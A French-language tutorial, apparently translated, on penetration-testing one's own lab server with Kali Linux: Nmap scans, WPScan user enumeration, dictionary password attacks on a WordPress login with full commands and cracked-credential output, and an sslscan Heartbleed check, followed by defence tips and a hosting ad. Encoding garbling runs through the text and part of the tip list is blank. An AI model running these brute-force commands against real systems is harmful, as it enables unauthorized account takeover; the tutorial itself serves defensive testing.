Kali et d'autres outils similaires aident à détecter les vulnérabilités de votre logiciel. Et c'est mieux si vous les trouvez en premier, et non les intrus.
Vous ne pouvez pas cacher un poinçon dans un sac: par ignorance (bien que dans certains cas - intentionnellement), mĂȘme les grandes entreprises laissent des trous dans leur systĂšme de sĂ©curitĂ©. Il est essentiel de (1) les localiser et (2) les corriger le plus rapidement possible. Heureusement, il existe de nombreux produits diffĂ©rents qui aident avec le premier point. Parmi eux , Kali , une distribution Linux conçue pour les tests de sĂ©curitĂ©. Dans cet article, je vais vous montrer comment utiliser Kali Linux pour enquĂȘter sur votre systĂšme et trouver des faiblesses en simulant un attaquant.
La distribution Kali comprend de nombreux outils, tous open source. Il suffit de lancer l'installation de la distribution et tous ces outils seront disponibles prĂȘts Ă l'emploi.
Image : Peter Gervase , CC BY-SA 4.0
J'utiliserai deux systĂšmes comme sujets de test:
- kali.usersys.redhat.com : 30 Go de mémoire et 6 processeurs virtuels. Ce systÚme analysera la victime et lancera des attaques.
- VulnĂ©rable.usersys.redhat.com : Un systĂšme avec Red Hat Enterprise Linux 8 intĂ©grĂ©. Ici, il devra ĂȘtre attaquĂ©.
J'ai mentionné les caractéristiques techniques de l'équipement ici pour une raison. Certaines de nos tùches sont assez exigeantes sur le matériel, en particulier le processeur systÚme 2, qui exécutera le scanner de sécurité WordPress ( WPScan ).
Rechercher des ports ouverts
J'ai commencé par une analyse de base du systÚme 2. En analysant le systÚme avec Nmap , vous pouvez découvrir quels ports et services sont visibles à partir du systÚme 1 en commençant l'analyse.
Image : Peter Gervase , CC BY-SA 4.0
La premiÚre chose à faire est donc de trouver des ports ouverts «intéressants» - des faiblesses potentielles. En fait, tout port ouvert est intéressant car il est plus susceptible de compromettre le réseau. Dans cet exemple, 21, 22, 80 et 443 sont également des ports pour des services fréquemment utilisés. Mais pour l'instant, je fais juste du renseignement et j'essaie d'obtenir autant d'informations que possible sur le systÚme que je veux pirater.
AprÚs cela, pour une analyse plus approfondie, je sélectionnerai le port 80 et exécuterai la commande Nmap avec les arguments -p 80 et -A. Cela vous permet d'obtenir des informations sur le systÚme d'exploitation et l'application qui utilise le port 80.
Image : Peter Gervase , CC BY-SA 4.0
Nous nous intéressons ici aux lignes suivantes:
PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.37 ((Red Hat Enterprise Linux)) |_http-generator: WordPress 5.6.1
Recherche d'informations sur les utilisateurs
Puisque je sais maintenant qu'il s'agit d'un serveur WordPress, je peux utiliser WPScan pour obtenir des informations sur les vulnérabilités potentielles. Ce serait bien de trouver plusieurs noms d'utilisateur et leurs mots de passe. Pour les trouver dans une instance WordPress donnée, utilisez les options --enumerate u: Excellent, j'ai trouvé deux utilisateurs: admin et pgervase . J'essaierai de deviner le mot de passe de l'utilisateur administrateur à l'aide de dictionnaires de mots de passe - un fichier texte avec un ensemble d'options possibles. Je prendrai des dictionnaires de 3 231 et 3 543 076 137 lignes.
âââ(rootkali)-[~]
ââ# wpscan --url vulnerable.usersys.redhat.com --enumerate u
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.10
Sponsored by Automattic â https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]
[+] Started: Tue Feb 16 21:38:49 2021
Interesting Finding(s):
...
[i] User(s) Identified:
[+] admin
| Found By: Author Posts â Display Name (Passive Detection)
| Confirmed By:
| Author Id Brute Forcing â Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] pgervase
| Found By: Author Posts â Display Name (Passive Detection)
| Confirmed By:
| Author Id Brute Forcing â Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
Deviner le mot de passe avec une attaque par dictionnaire
DiffĂ©rents outils peuvent ĂȘtre utilisĂ©s pour les attaques par dictionnaire. Voici deux exemples de commandes avec Nmap et WPScan:
# nmap -sV --script http-wordpress-brute --script-args userdb=users.txt,passdb=/path/to/passworddb,threads=6 vulnerable.usersys.redhat.com
# wpscan --url vulnerable.usersys.redhat.com --passwords /path/to/passworddb --usernames admin --max-threads 50 | tee nmap.txt
Ces deux outils, bien sûr, peuvent faire beaucoup plus, mais ils conviennent également pour deviner les mots de passe.
Mais cette commande WPScan, par exemple, affiche le mot de passe Ă la fin du fichier:
âââ(rootkali)-[~]
ââ# wpscan --url vulnerable.usersys.redhat.com --passwords passwords.txt --usernames admin
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.10
Sponsored by Automattic â https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]
[+] Started: Thu Feb 18 20:32:13 2021
Interesting Finding(s):
âŠ..
[+] Performing password attack on Wp Login against 1 user/s
Trying admin / redhat Time: 00:01:57
<==================================================================================================================>
(3231 / 3231) 100.00% Time: 00:01:57
Trying admin / redhat Time: 00:01:57
<=========================================================
> (3231 / 6462) 50.00%
ETA: ??:??:??
[SUCCESS] â admin / redhat
[!] Valid Combinations Found:
| Username: admin, Password: redhat
La section Combinaisons valides trouvées à la fin contient le nom d'utilisateur admin et son mot de passe. Il n'a fallu que deux minutes pour parcourir 3 231 lignes.
J'ai un autre fichier de dictionnaire avec 3 238 659 984 entrées uniques, ce qui prendra beaucoup plus de temps.
Nmap produit des résultats beaucoup plus rapidement:
âââ(rootkali)-[~]
ââ# nmap -sV --script http-wordpress-brute
--script-args userdb=users.txt,passdb=password.txt,threads=6
vulnerable.usersys.redhat.com
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-18 20:48 EST
Nmap scan report for vulnerable.usersys.redhat.com (10.19.47.242)
Host is up (0.00015s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
80/tcp open http Apache httpd 2.4.37 ((Red Hat Enterprise Linux))
|_http-server-header: Apache/2.4.37 (Red Hat Enterprise Linux)
| http-wordpress-brute:
| Accounts:
| admin:redhat â Valid credentials <<<<<<<
| pgervase:redhat â Valid credentials <<<<<<<
|_ Statistics: Performed 6 guesses in 1 seconds, average tps: 6.0
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
|_ 100000 3,4 111/udp6 rpcbind
3306/tcp open mysql MySQL 5.5.5-10.3.27-MariaDB
MAC Address: 52:54:00:8C:A1:C0 (QEMU virtual NIC)
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.68 seconds
Certes, une telle analyse peut ĂȘtre suivie par les journaux HTTPD qui seront dĂ©tectĂ©s dans le systĂšme compromis:
10.19.47.170 - â [18/Feb/2021:20:14:01 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 â - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 â - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 â - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 â - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 â - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 â - [18/Feb/2021:20:14:02 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 â - [18/Feb/2021:20:14:02 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 â - [18/Feb/2021:20:14:02 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)»
Rechercher Heartbleed Vulnerability
Pour obtenir des informations sur le serveur HTTPS et les protocoles SSL / TLS, j'utilise la commande sslscan:
âââ(rootkali)-[~]
ââ# sslscan vulnerable.usersys.redhat.com
Version: 2.0.6-static
OpenSSL 1.1.1i-dev xx XXX xxxx
Connected to 10.19.47.242
Testing SSL server vulnerable.usersys.redhat.com on port 443 using SNI name vulnerable.usersys.redhat.com
SSL/TLS Protocols:
SSLv2 disabled
SSLv3 disabled
TLSv1.0 disabled
TLSv1.1 disabled
TLSv1.2 enabled
TLSv1.3 enabled
<snip>
On voit qu'aucune vulnérabilité Heartbleed n'a été trouvée dans les versions de protocole utilisées sur le serveur :
Heartbleed: TLSv1.3 not vulnerable to heartbleed TLSv1.2 not vulnerable to heartbleed
Eh bien, cela signifie que je ne peux pas accéder à la RAM et aux données du serveur via le module Heartbeat. Eh bien ... ce n'est pas le destin :)
Conseils de prévention et de protection contre le piratage
Vous pouvez écrire de nombreux articles sur la façon de résister aux attaques de pirates de tous bords. Ici, je me limiterai aux recommandations générales:
- Examinez votre systĂšme : quels ports sont ouverts, quels ports devraient ĂȘtre ouverts, qui devrait pouvoir voir ces ports et combien de trafic devrait les traverser. Nmap pour vous aider.
- : , , ââ. .
- : , , WordPress, IP- . , IP- , . , .
- : , .
- : , . , .
- , : , « - ».
- Tirez parti des outils supplémentaires de vos fournisseurs de logiciels: par exemple, Red Hat Enterprise Linux inclut Red Hat Insights pour régler votre systÚme et vous alerter en temps opportun des menaces de sécurité potentielles.
Matériel utile (en anglais)
Ce qui est décrit dans cet article n'est que la pointe de l'iceberg. Pour approfondir, vous pouvez explorer les ressources suivantes:
Les serveurs cloud de Macleod sont rapides et sécurisés.
Inscrivez-vous en utilisant le lien ci-dessus ou en cliquant sur la banniÚre et bénéficiez d'une remise de 10% pour le premier mois de location d'un serveur de toute configuration!